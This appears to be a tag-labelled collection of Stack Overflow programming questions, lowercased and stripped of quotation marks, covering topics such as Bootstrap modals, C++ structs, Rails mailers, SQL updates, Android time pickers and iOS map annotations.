bootstrap modal  dynamic content load  i am passing the value of 1 to the modal input box but it wont display it   <pre><code> &lt;span class= glyphicon glyphicon-user  class= add-dialog  data-id= 1  type= button  data-toggle= modal  data-target= #mymodal &gt; &lt;/span&gt; </code></pre>   <strong>modal</strong>`        <pre><code>&lt;!-- modal content--&gt; &lt;div class= modal-content &gt;   &lt;div class= modal-header &gt;     &lt;button type= button  class= close  data-dismiss= modal &gt;&amp;times;&lt;/button&gt;     &lt;h4 class= modal-title &gt;modal header&lt;/h4&gt;   &lt;/div&gt;   &lt;div class= modal-body &gt;     &lt;p&gt;some text in the modal.&lt;/p&gt;      &lt;input type= text  name= help  id= help  value=  /&gt;   &lt;/div&gt;   &lt;div class= modal-footer &gt;     &lt;button type= button  class= btn btn-default  data-dismiss= modal &gt;close&lt;/button&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>        <strong>js</strong>   <pre><code>&lt;script&gt; $(document).on( click    .add-dialog   function () {      var myhelpid = $(this).data( id );      $( .modal-body #help ).val( myhelpid ); }); </code></pre>,html
what s the diffence between struct and new struct   in c++  i have seen 2 ways to create a new struct:    1.   <pre><code>structa a; a.member1 = ...; foo(&amp;a); // void foo(structa* a); </code></pre>   2.   <pre><code>structa* a = new structa; a-&gt;member1 = ...; foo(a); </code></pre>   what are the difference and implications of these 2 code snipets     thanks,c++
how to connect iphone with monitor   i have implemented iphone application.i want to present in monitor.how it possible  please help me for this problem,iphone
something like httpclient.trydownload  i would like to implement something that will not throw an exception when http status code is 404. can i use <code>system.web.webrequest</code> class or must use lower apis  (i cannot send http head request first  because some servers ignores them.),.net
create a reference to the selected tab in my tabviewcontroller  <h1>rwgamedata.h</h1>  <pre><code>#import &lt;foundation/foundation.h&gt;  @class rwgamedata; @protocol rwgamestateprotocol &lt;nsobject&gt; -(void)stateupdateforgamedata:(rwgamedata*)data; @end  @interface rwgamedata : nsobject &lt;nscoding&gt;  @property (weak) id&lt;rwgamestateprotocol&gt; delegate;  @property (assign  nonatomic) long regularbubblecount; @property (assign  nonatomic) long premiumbubblecount;  @property (assign  nonatomic) long megabubbleupgradetier; @property (assign  nonatomic) long bubblefactoryupgradetier; @property (assign  nonatomic) long bubblersupgradetier; @property (assign  nonatomic) long mysterybubbleupgradetier; @property (assign  nonatomic) long bubblebankupgradetier;  @property (assign  nonatomic) int megabubblepopvalue; @property (assign  nonatomic) int bubblefactorytickvalue;  @property (assign  nonatomic) long bubblebankcapacity;  @property (assign  nonatomic) int collectionballsquantity; @property (assign  nonatomic) int collectionglowsticksquantity; @property (assign  nonatomic) int collectionflowersquantity; @property (assign  nonatomic) int collectionstuffedanimalsquantity; @property (assign  nonatomic) int collectioneastereggsquantity;  @property (assign  nonatomic) int currentxp; @property (assign  nonatomic) int targetxp; @property (assign  nonatomic) int level;  @property (assign  nonatomic) bool dataisinitialized;  +(instancetype)sharedgamedata; -(void)reset; -(void)save;  -(void)timersetup; -(void)timercalled;  @end </code></pre>  <h1>rwgamedata.m</h1>  <pre><code>#import  rwgamedata.h   @implementation rwgamedata  static nsstring* const ssgamedataregularbubblecountkey = @ regularbubblecount ; static nsstring* const ssgamedatapremiumbubblecountkey = @ premiumbubblecount ;  static nsstring* const ssgamedatamegabubbleupgradetierkey = @ megabubbleupgradetier ; static nsstring* const ssgamedatabubblefactoryupgradetierkey = @ bubblefactoryupgradetier ; static nsstring* const ssgamedatabubblersupgradetierkey = @ bubblersupgradetier ; static nsstring* const ssgamedatamysterybubbleupgradetierkey = @ mysterybubbleupgradetier ; static nsstring* const ssgamedatabubblebankupgradetierkey = @ bubblebankupgradetier ;  static nsstring* const ssgamedatamegabubblepopvaluekey = @ megabubblepopvaluekey ; static nsstring* const ssgamedatabubblefactorytickvaluekey = @ bubblefactorytickvaluekey ;  static nsstring* const ssgamedatabubblebankcapacitykey = @ bubblebankcapacitykey ;  static nsstring* const ssgamedatacollectionballsquantitykey = @ collectionballsquantitykey ; static nsstring* const ssgamedatacollectionglowsticksquantitykey = @ collectionglowsticksquantitykey ; static nsstring* const ssgamedatacollectionflowersquantitykey = @ collectionflowersquantitykey ; static nsstring* const ssgamedatacollectionstuffedanimalsquantitykey = @ collectionstuffedanimalsquantitykey ; static nsstring* const ssgamedatacollectioneastereggsquantitykey = @ collectioneastereggsquantitykey ;  /*static nsstring* const ssgamedatacollectionballsmodifierkey = @ collectionballsmodifierkey ; static nsstring* const ssgamedatacollectionglowsticksmodifierkey = @ collectionglowsticksmodifierkey ; static nsstring* const ssgamecollectionflowersmodifierkey = @ collectionflowersmodifierkey ; static nsstring* const ssgamecollectionstuffedanimalsmodifierkey = @ collectionstuffedanimalsmodifierkey ; static nsstring* const ssgamecollectioneastereggsmodifierkey = @ collectioneastereggsmodifierkey ;*/  static nsstring* const ssgamedatacurrentxpkey = @ currentxpkey ; static nsstring* const ssgamedatatargetxpkey = @ targetxpkey ; static nsstring* const ssgamedatalevelkey = @ levelkey ;  static nsstring* const ssgamedataisinitializedkey = @ dataisinitializedkey ;  + (instancetype)sharedgamedata {     static id sharedinstance = nil;      static dispatch_once_t oncetoken;     dispatch_once(&amp;oncetoken  ^{         sharedinstance = [self loadinstance];     });      return sharedinstance; }  -(void)reset {     self.regularbubblecount = 0;     self.premiumbubblecount = 0;      self.megabubbleupgradetier = 0;     self.bubblefactoryupgradetier = 0;     self.bubblersupgradetier = 0;     self.mysterybubbleupgradetier = 0;     self.bubblebankupgradetier = 0;      self.megabubblepopvalue = 1;     self.bubblefactorytickvalue = 1;      self.bubblebankcapacity = 500;      self.collectionballsquantity = 0;     self.collectionglowsticksquantity = 0;     self.collectionflowersquantity = 0;     self.collectionstuffedanimalsquantity = 0;     self.collectioneastereggsquantity = 0;      self.currentxp = 0;     self.targetxp = 83;     self.level = 1;      self.dataisinitialized = true; }  - (void)encodewithcoder:(nscoder *)encoder {     [encoder encodedouble:self.regularbubblecount forkey: ssgamedataregularbubblecountkey];     [encoder encodedouble:self.premiumbubblecount forkey: ssgamedatapremiumbubblecountkey];      [encoder encodedouble:self.megabubbleupgradetier forkey: ssgamedatamegabubbleupgradetierkey];     [encoder encodedouble:self.bubblefactoryupgradetier forkey: ssgamedatabubblefactoryupgradetierkey];     [encoder encodedouble:self.bubblersupgradetier forkey: ssgamedatabubblersupgradetierkey];     [encoder encodedouble:self.mysterybubbleupgradetier forkey: ssgamedatamysterybubbleupgradetierkey];     [encoder encodedouble:self.bubblebankupgradetier forkey: ssgamedatabubblebankupgradetierkey];      [encoder encodedouble:self.megabubblepopvalue forkey: ssgamedatamegabubblepopvaluekey];     [encoder encodedouble:self.bubblefactorytickvalue forkey: ssgamedatabubblefactorytickvaluekey];      [encoder encodedouble:self.bubblebankcapacity forkey: ssgamedatabubblebankcapacitykey];      [encoder encodedouble:self.collectionballsquantity forkey: ssgamedatacollectionballsquantitykey];     [encoder encodedouble:self.collectionglowsticksquantity forkey: ssgamedatacollectionglowsticksquantitykey];     [encoder encodedouble:self.collectionflowersquantity forkey: ssgamedatacollectionflowersquantitykey];     [encoder encodedouble:self.collectionstuffedanimalsquantity forkey: ssgamedatacollectionstuffedanimalsquantitykey];     [encoder encodedouble:self.collectioneastereggsquantity forkey: ssgamedatacollectioneastereggsquantitykey];      [encoder encodedouble:self.currentxp forkey: ssgamedatacurrentxpkey];     [encoder encodedouble:self.targetxp forkey: ssgamedatatargetxpkey];     [encoder encodedouble:self.level forkey:ssgamedatalevelkey];      [encoder encodebool:self.dataisinitialized forkey: ssgamedataisinitializedkey]; }  - (instancetype)initwithcoder:(nscoder *)decoder {     self = [self init];     if (self) {         _regularbubblecount = [decoder decodedoubleforkey: ssgamedataregularbubblecountkey];         _premiumbubblecount = [decoder decodedoubleforkey: ssgamedatapremiumbubblecountkey];          _megabubbleupgradetier = [decoder decodedoubleforkey: ssgamedatamegabubbleupgradetierkey];         _bubblefactoryupgradetier = [decoder decodedoubleforkey: ssgamedatabubblefactoryupgradetierkey];         _bubblersupgradetier = [decoder decodedoubleforkey: ssgamedatabubblersupgradetierkey];         _mysterybubbleupgradetier = [decoder decodedoubleforkey: ssgamedatamysterybubbleupgradetierkey];         _bubblebankupgradetier = [decoder decodedoubleforkey: ssgamedatabubblebankupgradetierkey];          _megabubblepopvalue = [decoder decodedoubleforkey: ssgamedatamegabubblepopvaluekey];         _bubblefactorytickvalue = [decoder decodedoubleforkey: ssgamedatabubblefactorytickvaluekey];          _bubblebankcapacity = [decoder decodedoubleforkey: ssgamedatabubblebankcapacitykey];          _collectionballsquantity = [decoder decodedoubleforkey: ssgamedatacollectionballsquantitykey];         _collectionglowsticksquantity = [decoder decodedoubleforkey: ssgamedatacollectionglowsticksquantitykey];         _collectionflowersquantity = [decoder decodedoubleforkey: ssgamedatacollectionflowersquantitykey];         _collectionstuffedanimalsquantity = [decoder decodedoubleforkey: ssgamedatacollectionstuffedanimalsquantitykey];         _collectioneastereggsquantity = [decoder decodedoubleforkey: ssgamedatacollectioneastereggsquantitykey];          _currentxp = [decoder decodedoubleforkey: ssgamedatacurrentxpkey];         _targetxp = [decoder decodedoubleforkey: ssgamedatatargetxpkey];         _level = [decoder decodedoubleforkey: ssgamedatalevelkey];          _dataisinitialized = [decoder decodeboolforkey: ssgamedataisinitializedkey];     }     return self; }  +(nsstring*)filepath {     static nsstring* filepath = nil;     if (!filepath) {         filepath =         [[nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) firstobject]          stringbyappendingpathcomponent:@ gamedata ];     }     return filepath; }  +(instancetype)loadinstance {     nsdata* decodeddata = [nsdata datawithcontentsoffile: [rwgamedata filepath]];     if (decodeddata) {         rwgamedata* gamedata = [nskeyedunarchiver unarchiveobjectwithdata:decodeddata];         return gamedata;     }      return [[rwgamedata alloc] init]; }  -(void)save {     nsdata* encodeddata = [nskeyedarchiver archiveddatawithrootobject: self];     [encodeddata writetofile:[rwgamedata filepath] atomically:yes]; }  - (void)timersetup { // to be called from delegate didfinishlaunching….     nstimer *timer;     timer = [nstimer scheduledtimerwithtimeinterval:1 target:self selector:@selector(timercalled) userinfo:nil repeats:yes]; }  -(void)timercalled {     //nslog(@ timer called );]     if ([rwgamedata sharedgamedata].bubblefactoryupgradetier &gt; 0) {         if ([rwgamedata sharedgamedata].regularbubblecount &lt; [rwgamedata sharedgamedata].bubblebankcapacity) {             [rwgamedata sharedgamedata].regularbubblecount += [rwgamedata sharedgamedata].bubblefactorytickvalue;             [[rwgamedata sharedgamedata] save];           } else {             nslog(@ capacity reached! capacity: %li   [rwgamedata sharedgamedata].bubblebankcapacity);         }         [self.delegate stateupdateforgamedata:self];      } nslog(@ regular bubble count: %li   [rwgamedata sharedgamedata].regularbubblecount); }  @end </code></pre>  <h1>primaryviewcontroller.h</h1>  <pre><code>#import &lt;uikit/uikit.h&gt; #import  rwgamedata.h   @interface primaryviewcontroller : uiviewcontroller &lt;rwgamestateprotocol&gt;  @property (strong  nonatomic) iboutlet uilabel *regularbublabel;  @end </code></pre>   i would like to be able to change the value of regularbublabel from within the timercalled method. thank you for your time.    included the entirety of my rwgamedata class as it was requested. thanks.   <h1>appdelegate.h</h1>  <pre><code>#import &lt;uikit/uikit.h&gt; #import  rwgamedata.h  #import  primaryviewcontroller.h   @interface appdelegate : uiresponder &lt;uiapplicationdelegate&gt;  @property (strong  nonatomic) uiwindow *window; @property (strong nonatomic) rwgamedata *gamedata;   @end </code></pre>   then see +(instancetype)loadinstance of #rwgamedata.m,ios
nomethoderror: undefined method `deliver_now   i have this in my controller:   <pre><code>  def create     @user = user.new(user_params)     if @user.save       usermailer.account_activation(@user).deliver_now     ....   end </code></pre>   and i keep getting this error:   <pre><code>nomethoderror: undefined method `deliver_now  for #&lt;actionmailer::messagedelivery:0x007ffa6646eb60&gt; </code></pre>   any ideas why it s not finding the deliver_now method,ruby-on-rails
website not upload using webview  ihave write the following code  but it does nothing in consloe it shows unknown scheme  doing nothing   <pre><code>[webview setdeleagte self]; [webview loadrequest:[[nsurlrequest alloc] initwithurl:[[nsurl alloc] initwithstring:sourcelinkstr]]]; </code></pre>,iphone
set height div javascript  i m adjusting the height of the box with no problems  now i would like to adjust the height of the box grabbing the top handle and adjust height but upwards. what would be a good way of doing this  thanks     (current downwards code)   <pre><code>var my = event.clienty;  var originalheight = parseint(document.getelementbyid( somediv ).style.height);  if(click == 1){ // down             var sy = event.clienty;              var finalheight = originalheight +sy-my;             document.getelementbyid( somediv ).style.height=finalheight +  px ; }else{ // up     resize upwards instead of downwards.... } </code></pre>,javascript
form won t send data to php page anyway  i have been looking in this forum for a question about the subject i m posting about here  but i have not found the solution neither here nor anywere on internet. i have found something like what i m posting here  but the solution didn t meet my needs. i m trying to send a form via post to a page specified on an action form  but the $_post variable is simply sent empty  no matter what server the action page is hosted. i will send the form code to see if any of you have the solution to my problem  or if any of you can identify the error in the code.   <pre><code>&lt;form name= enquete  method= post  action= http://www.webenquetes.com.br/enquete.php ide=22 &gt; &lt;input type= hidden  name= pollcode  value= @|tü¸ æû â &gt; &lt;div id= idpergunta &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= idpergunta1  value= 24  size=   maxlength=     /&gt;&lt;/div&gt; &lt;/div&gt;&lt;div id= cd_enquete &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= cd_enquete1  value= 22  size=   maxlength=     /&gt;&lt;/div&gt; &lt;/div&gt;&lt;div id= pergunta  class= item &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= pergunta1  value= você é a favor de que o comércio de maconha seja legal  /&gt;você é a favor de que o comércio de maconha seja legal &lt;/div&gt; &lt;/div&gt;&lt;div id= multipla_resposta &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= multipla_resposta1  value= 0  size=   maxlength=     /&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class= form2  id= form2_0 &gt;&lt;div id= idresposta1_0 &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= idresposta1_0  value= 112  size=   maxlength=   /&gt;&lt;/div&gt; &lt;/div&gt;  &lt;div id= cd_pergunta1_0 &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= cd_pergunta1_0  value= 24  size=   maxlength=   /&gt;&lt;/div&gt; &lt;/div&gt;  &lt;div id= resposta1_0  class= item &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= radio  name= resposta1_  value= sim.  size= 50  maxlength= 1024  onclick= functionanswer(0  0); /&gt; sim.&lt;/div&gt; &lt;/div&gt;  &lt;/div&gt;&lt;div class= form2  id= form2_1 &gt;&lt;div id= idresposta1_1 &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= idresposta1_1  value= 113  size=   maxlength=    /&gt;&lt;/div&gt; &lt;/div&gt;&lt;div id= cd_pergunta1_1 &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= hidden  name= cd_pergunta1_1  value= 24  size=   maxlength=    /&gt;&lt;/div&gt; &lt;/div&gt;&lt;div id= resposta1_1  class= item &gt;&lt;div class= lab &gt;&lt;/div&gt;&lt;div class= c &gt;&lt;input type= radio  name= resposta1_  value= não.  size= 50  maxlength= 1024  onclick= functionanswer(0  1);  /&gt; não.&lt;/div&gt; &lt;/div&gt;&lt;/div&gt;&lt;div id= botao_votar &gt;&lt;input type= submit  name= votar  value= votar  /&gt;&lt;/div&gt;&lt;/form&gt; </code></pre>,html
i want to multiply two different structures in c language  i m a student of bs computer science. i am working on inventory system which is a first project to me from my uni. but i am facing one problem while working on ending inventory. i want to add opening and purchase and then subtract sell from it.. but i am unable to do so. please help me to solve this issue.,c
is .net already the right way to go for small app development   i am developing a small windows app  but have some trouble deciding whether to use .net or not. as a coder i would like to make use of the .net libraries. on the other hand  requiring my users to download the gargantuan .net runtime seems like a horrible decision.    a 100 meg prerequisite might be alright for software in the scale of visual studio  but i feel like it would be a deal breaker for quick lightweight tools (think  for example  notepad++). in the future  the .net runtimes will likely become widespread enough to eradicate the problem  but in the short run  i feel uneasy.    in your opinion/experience  is 2009 too early for a small app to go .net  should i wait for the bigger players to pave the way     <em>edit: which versions  if any  come by default with xp sp2 and vista </em>,.net
why are my exponential numbers being rounded  (c language)  i am getting unexpected results when printing some doubles.  some rounding is taking place  and i m not sure why.   <pre><code>#include &lt;stdio.h&gt;  int main(void) { double d1 = 0; double d2 = 0;  d1 = 1.2345678901234567e16; d2 = 112233445566778899.0;  printf( d1: %.0lf\n   d1); printf( d2: %.0lf\n   d2);  return 0; } </code></pre>   the results of running the program are:   <pre><code>d1: 12345678901234568 d2: 112233445566778900 </code></pre>   in the first case  i m not sure why the last digit (the 7) got rounded to an 8  if there are no numbers after it. in the second case  i also don t know why the number in the hundreds position got rounded.  doubles should accomodate numbers much larger than these without rounding. thanks,c
css rules not showing up  i have the following css rules set for <code>#container nav</code> at this <a href= http://update.techbasics.ca  rel= nofollow >site</a>    <pre><code>#container nav {     margin-left: none;     margin-right: none; } } </code></pre>   although when i use inspector the margins are not written  the selector is just empty no rules at all. not sure what could be causing this. how do i debug this,css
app name change  iam aware of the procedures to change the name of the app  my doubt is:  -- right now my app name is  anyvan . its an app that serves to transport providers.   -- now we want to create another app for customers  -- we made a mistake by not naming the first app as  anyvan tp .   -- now we want to rename the old app as  anyvan tp  and name the new one as  anyvan .  -- we are a bit confused and not really aware of any implications.     once we do this change  will the old users who already have the app have any issues in terms of downloading . what if the old user who haven t updated the app yet  tries to download the new one. will it confuse anything     will apple allow this kind of name change      sorry for my ignorance  this is one key decision  which shouldnt go wrong and a decision has to be taken at the earliest. if there are too many downsides  we need to go for a single app approach. any help will be highly appreciated. thanks.,ios
what is the correct assignment statement to update an integer in the following use of a dictionary  (python 3.4.3) <pre><code>d = {} d[ agency name ] = 0 {} d[ agency name ][1][ contractor 1 ] = 0 d[ agency name ][1][ contractor 2 ] = 0 d[ agency name ][1][ contractor 3 ] = 0 print(d)  # the following line of code generates this error message: # typeerror:  tuple  object does not support item assignment # why  # what is the correct assignment statement to update an integer stored # in the dictionary at d[ agency name ][0]   # error line d[ agency name ][0] = 1 # end error line  d[ agency name ][1][ contractor 1 ] = 1 print(d) </code></pre>,python
i want to add a column in my table for a user s profile pic  i want to add a extra field in my database table users.    the table is currently like this:   <pre><code>create table users (     user_id     int(8) not null auto_increment      user_name   varchar(30) not null      user_pass   varchar(255) not null      user_email  varchar(255) not null      user_date   datetime not null      user_level  int(8) not null      unique index user_name_unique (user_name)      primary key (user_id)   ); </code></pre>   how will it look if i add a column for profile pic data of the user     thanks!,sql
99 bottles of beer on the wall - subtraction loop  i need the song to sing this out from 99 to 0. but when i get to 1 bottle i need it to be formatted the right way.  i tried to use an if statement and it works but it doesnt save me the from the loop doing its thing.  the format is screwed up the first time the loop gets to it.    <pre><code>public class example1 {    public static void main(string[] args) {     int counter = 99;     int sum = 0;     while (counter &lt; 100 &amp;&amp; counter &gt; 0) {       if (counter &gt;= 2) {         system.out.println(             counter +   bottles of pepsi on the wall    + counter +   bottles of pepsi. );         system.out.println(              take one down  pass it around    + (counter - 1) +   bottles of pepsi on the wall. );         counter--;         if (counter == 1) {           system.out.println( 1 bottle of pepsi on the wall  1 bottle of pepsi. );           system.out.println( take one down  pass it around  0 bottles of pepsi on the wall. );           counter--;         }       }     }   } } </code></pre>   it needs to look like this on the output at the end.   <pre><code>2 bottles of pepsi on the wall  2 bottles of pepsi.\n take one down  pass it around  1 bottle of pepsi on the wall.\n 1 bottle of pepsi on the wall  1 bottle of pepsi.\n take one down  pass it around  0 bottles of pepsi on the wall.\n </code></pre>   right now it outputs like this.   <pre><code>take one down  pass it around  2 bottles of pepsi on the wall. 2 bottles of pepsi on the wall  2 bottles of pepsi. take one down  pass it around  1 bottles of pepsi on the wall. 1 bottle of pepsi on the wall  1 bottle of pepsi. take one down  pass it around  0 bottles of pepsi on the wall. </code></pre>   any help would be appreciated.  thanks.,java
command to add data to every entry of a database   i apologize if this is a dumb or simple question  and i have tried searching for it  but was unable to find a solution; i suspect i simply don t know the name for this kind of an operation.    i have a mysql database with a  card  table.    cards have a casting cost  which may contain between 0 and 5 colors.  i want to update every entry in the cards table to include 5 columns  each a boolean for each of the possible colors.  so i would need a short algorithm which would parse the colors in a card  then populate the 5 boolean color values accordingly.    i can imagine how to do this with a php script  but i thought there must be some way to do it with pure mysql.  am i mistaken  or is there a name for this type of script,mysql
return query by group  say i have the following tables:    table 1   <pre><code>name     food  ______________ sam      chips tom      chips larry    chips </code></pre>   table 2   <pre><code>name     type _____________ sam      dip tom      dip larry    dip marry    soda peter    soda sam      soda larry    soda sam      beer larry    beer </code></pre>   is is possible to return    <pre><code>name    type ____________ sam     dip tom     dip larry   dip </code></pre>   using the names table 1 as a group and having that group exactly be match in table 2     soda type won t match because it has marry  peter  sam  larry. beer type only has sam and larry.,sql
multiple time picker in android  i want to implement two time picker in same activity. one for start time and another for end time. now problem is that  i want to store 4 values (hour  minute) of both time picker in 4 different variables to insert them into sqlite database. i already searched lot on google  but found no helpful article. any type of help is highly appreciated. thank you...    here is code    public class time extends appcompatactivity{   <pre><code>static final int start_time_id=0; static final int end_time_id=1;  edittext edit_start_time edit_end_time;  public int hour minute; private int chour cminute;  public time(){     final calendar calendar=calendar.getinstance();     chour=calendar.get(calendar.hour_of_day);     cminute=calendar.get(calendar.minute); }  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_time);     edit_start_time = (edittext) findviewbyid(r.id.edit_start_time);     edit_end_time = (edittext) findviewbyid(r.id.edit_end_time);  edit_start_time.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {             showdialog(start_time_id);         }     });      edit_end_time.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v){             showdialog(end_time_id);         }     }); </code></pre>   }   <pre><code>private timepickerdialog.ontimesetlistener mstarttime=new timepickerdialog.ontimesetlistener() {     public void ontimeset(timepicker view int hourofday int min)     {         hour=hourofday;         minute=min;     } };  private timepickerdialog.ontimesetlistener mendtime=new timepickerdialog.ontimesetlistener() {     public void ontimeset(timepicker view int hourofday int min)     {         hour=hourofday;         minute=min;     } };  @override protected dialog oncreatedialog(int id) {     switch (id)     {         case start_time_id:             return new timepickerdialog(this mstarttime chour cminute false);         case end_time_id:             return new timepickerdialog(this mendtime chour cminute false);     }     return null; } </code></pre>,android
optimizing variable check in java  i have been working the codingbat exercises lately and here is my solution for one of the problem   <pre><code>public boolean makes10(int a  int b) {   return (a == 10 || b == 10 || a+b == 10);   }  </code></pre>   the code itself works but i am wondering if this code can be optimised further since the 2 variable (a and b) both check if they equals to same value.i am referring to <code>a == 10 || b == 10</code>,java
can php file_exists check remapped subdirectory   i have two websites using different languages but the same images. i remapped one website s image subdirectory to the image directory of the other  because the directory s images are constantly changing and being updated.     i have a function that needs to check if the file exists in the subdirectory  but doesn t seem to work on the website using the remapped subdirectory.     i just want to verify  can php s file_exists function check a remapped  but otherwise empty subdirectory,php
how do i insert a background image into a div using css from desktop   html code:   <pre><code>&lt;div class= circlebase type1 &gt; </code></pre>       css code:   <pre><code>.type1 {     background-image: url( /img/me.jpg );`      width: 120px;     height: 120px;       border: 1px solid black; }; </code></pre>,css
how do we print a number that s greater than 2^32-1 with int and float  (is it even possible )  how do we print a number that s greater than 2^32-1 with int and float  (is it even possible ),c
set values using a case statement  table <code>rate</code>:   <pre><code>fees | region  | rate -----+---------+---------  a1  | intra   | 0.00015     a2  | intra   | 0.000325     a3  | inter   | 0.000025     a4  | inter   | 0.015   </code></pre>   table <code>amount</code>:   <pre><code>region | amount | a1 | a2 | a3 | a4 -------+--------+----+----+----+---- intra  | $10    |    |    |    |    intra  | $11    |    |    |    |    inter  | $12    |    |    |    |    inter  | $13    |    |    |    |    </code></pre>   any help will do  i am struggling to write the case statement that will update table using the different rates in table 1.    i have tried:   <pre><code>update a set a.a1 = amount * r.rate from dbo.amount as a  inner join dbo.rate r where r.region = a.region </code></pre>   i want the rate applied to be the rate a1 and region to be inter/intra depending on the region in amount table   <pre><code>update a set a.a2 = amount * r.rate from dbo.amount as a  inner join dbo.rate r where r.region = a.region </code></pre>   i want the rate applied to be the rate a2 and region to be inter/intra depending on the region in amount table) etc    please help,sql
need to drop pin at two places... current location and events locations  i need help on this .... drop the pins.    current location.... pin drop.... with blue.... event location :locations latitude:53.373812...longitude 4.890951 with red pin.    i did like this:   <pre><code>@interface addressannotation : nsobject&lt;mkannotation&gt; {     cllocationcoordinate2d coordinate;      nsstring *mtitle;     nsstring *msubtitle;  //  cllocationmanager *locationmanager; //  cllocation *currentlocation; } @end @interface mapviewcontroller : uiviewcontroller &lt;cllocationmanagerdelegate&gt;  {      iboutlet mkmapview *mapview;         addressannotation *addannotation;     nsstring *address;     cllocationmanager *locationmanager;     cllocation *currentlocation; } +(mapviewcontroller *)sharedinstance; -(void)start; -(void)stop; -(bool)locationknown; @property(nonatomic retain)cllocation *currentlocation; @property(nonatomic retain)nsstring *address; -(cllocationcoordinate2d) addresslocation; -(void)showaddress;  @end </code></pre>   //implementation file.   <pre><code>#import  mapviewcontroller.h     @implementation addressannotation @synthesize coordinate; //@synthesize currentlocation;  - (nsstring *)subtitle{     //return @ sub title ;     return @ event ; } - (nsstring *)title{     //return @ title ;     return @ location  ; }  -(id)initwithcoordinate:(cllocationcoordinate2d) c{     coordinate=c;     //nslog(@ %f %f  c.latitude c.longitude);     return self; }  @end  @implementation mapviewcontroller @synthesize address; @synthesize currentlocation;  static mapviewcontroller *sharedinstance;  +(mapviewcontroller *)sharedinstance{     @synchronized (self)     {         if (!sharedinstance)              [[mapviewcontroller alloc]init];         }     return sharedinstance; } +(id)alloc{     @synchronized(self){         nsassert(sharedinstance==nil  attempted to allocate a second instance of a singleton locationcontroller. );          sharedinstance = [super alloc];     }     return sharedinstance; } -(id)init{     if(self==[super init]){         self.currentlocation=[[cllocation alloc]init];         locationmanager=[[cllocationmanager alloc]init];         locationmanager.delegate=self;         [self start];     }     return self; } -(void)start{     nslog(@ start );     [locationmanager startupdatinglocation]; } -(void)stop{     [locationmanager stopupdatinglocation]; } -(bool)locationknown{     if (round(currentlocation.speed)==-1)          return no;         else return yes;  } - (void)locationmanager:(cllocationmanager *)manager didupdatetolocation:(cllocation *)newlocation fromlocation:(cllocation *)oldlocation {     if (abs([newlocation.timestamp timeintervalsincedate:[nsdate date]])&lt;120){         self.currentlocation=newlocation;     } } - (void)locationmanager:(cllocationmanager *)manager didfailwitherror:(nserror *)error {     uialertview *alert;     alert=[[uialertview alloc]initwithtitle:@ error  message:[error description] delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];     [alert show];     [alert release]; }          // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {     [super viewdidload];     self.title=@ map-view ;     [self addresslocation];     [self showaddress];     nslog(@ address is %@  address);  }  -(void)showaddress{       mkcoordinateregion region;     mkcoordinatespan span;     span.latitudedelta=0.2;     span.longitudedelta=0.2;      cllocationcoordinate2d location = [self addresslocation];     region.span=span;     region.center=location;      if(addannotation != nil) {         [mapview removeannotation:addannotation];         [addannotation release];         addannotation = nil;     }      addannotation = [[addressannotation alloc] initwithcoordinate:location];     [mapview addannotation:addannotation];      [mapview setregion:region animated:true];     [mapview regionthatfits:region];  }   -(cllocationcoordinate2d) addresslocation {      nsstring *urlstring = [nsstring stringwithformat:@ http://maps.google.com/maps/geo q=%@&amp;output=csv        [address stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]];      nsstring *locationstring = [nsstring stringwithcontentsofurl:[nsurl urlwithstring:urlstring]];     nsarray *listitems = [locationstring componentsseparatedbystring:@   ];      double latitude = 0.0;     double longitude = 0.0;      if([listitems count] &gt;= 4 &amp;&amp; [[listitems objectatindex:0] isequaltostring:@ 200 ]) {         latitude = [[listitems objectatindex:2] doublevalue];         longitude = [[listitems objectatindex:3] doublevalue];     }     else {         //show error     }     cllocationcoordinate2d location;     location.latitude = latitude;     location.longitude = longitude;      return location; }  - (mkannotationview *) mapview:(mkmapview *)mapview viewforannotation:(id &lt;mkannotation&gt;) annotation{      mkpinannotationview *annview=[[mkpinannotationview alloc] initwithannotation:annotation reuseidentifier:@ currentloc ];     annview.pincolor = mkpinannotationcolorred;     annview.animatesdrop=yes;     annview.canshowcallout = yes;     annview.calloutoffset = cgpointmake(-5  5);     return annview; }   - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     // overriden to allow any orientation.     return yes; }   - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }   - (void)viewdidunload {     [super viewdidunload];      // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }   - (void)dealloc {     [address release];     [super dealloc]; }   @end </code></pre>   please help me out...    thanks in adavance.,iphone
geokit rails 2.3.9  i ve a hostmonster account  where i installed geokit as a gem. when i try to find location based on ip  i get  unknow city  for the city field. this happens on my local machine as well  where it shows  private address  for city.    please help me solve this.,ruby-on-rails
why do we need to type cast an enum in c#  i have an enum like:   <pre><code>public enum test:int {    a=1      b=2 } </code></pre>   so here i know my enum is an int type but if i want to do something like following:   <pre><code>int a = test.a; </code></pre>   this doesn t work.    if i have a class like:   <pre><code>public class mytest {     public static int a =1; } </code></pre>   i can say     <pre><code>int a = mytest.a; </code></pre>   here i don t need to cast <code>a</code> to int explicitly.,c#
